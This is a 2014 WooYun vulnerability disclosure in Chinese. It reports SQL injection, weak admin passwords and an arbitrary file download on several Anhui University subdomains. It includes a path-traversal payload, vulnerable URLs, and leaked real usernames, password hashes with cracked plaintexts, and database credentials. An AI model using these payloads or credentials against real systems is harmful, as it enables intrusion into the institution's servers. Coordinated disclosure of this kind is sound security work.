当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-062967

漏洞标题：安徽大学多个分站存在漏洞

相关厂商：安徽大学

漏洞作者： MuZhU0

提交时间：2014-06-03 12:50

修复时间：2014-07-18 12:50

公开时间：2014-07-18 12:50

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-06-03： 细节已通知厂商并且等待厂商处理中
2014-06-06： 厂商已经确认，细节仅向厂商公开
2014-06-16： 细节向核心白帽子及相关领域专家公开
2014-06-26： 细节向普通白帽子公开
2014-07-06： 细节向实习白帽子公开
2014-07-18： 细节向公众公开

简要描述：

安徽大学多个分站存在严重漏洞，MySQL配置信息泄露、SQL注入点……

详细说明：

http://xwcbsy.ahu.edu.cn/ 织梦，recommend.php 存在漏洞……

1.png


http://etc.ahu.edu.cn/ speedcms，任意文件下载读取漏洞……
article/file/cid/?file=../../../../application/config/config.ini.php
可下载config.php配置文件。

1.png


http://dqxy.ahu.edu.cn/ 后台弱口令登陆

1.png


http://jjxy.ahu.edu.cn/ 安徽大学经济学院，存在SQL注入点。

1.png


http://life.ahu.edu.cn/
安徽大学生命科学学院，存在dedecms注入漏洞，可爆用户名和密码，且后台为默认/dede/

1.png


2.png


http://mdsp.ahu.edu.cn/ 安徽大学数字信号处理，存在SQL注入点。
http://mdsp.ahu.edu.cn/newsdetail.asp?id=34
chenlei|46f227e9cf17e2e1e88b14e679047bd9| 解密252525
炊事班长|a7f6322e053dde550af6ae3557e1bcd5|解密19661125
……………………
还有很多很多漏洞，不做过多说明，望安徽大学的管理员早日修复……

漏洞证明：

Config.ini.php 配置信息：

[general]
db.adapter = oracle
db.config.host = localhost
db.config.username = speedcms 
db.config.password = speedcms2009
db.config.dbname = expbook
[aexp]
db.adapter = oracle
db.config.host = localhost
db.config.username = speedec
db.config.password = speedec_ahu_23_S
db.config.dbname = expbook


菜鸟，没能Get Webshell，所以没有过多的证明。。。

修复方案：

CMS程序的官方网站下载补丁、修改管理密码、修改后台地址……

版权声明：转载请注明来源 MuZhU0@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：7

确认时间：2014-06-06 15:36

厂商回复：

正在通知相关学校处理

最新状态：

暂无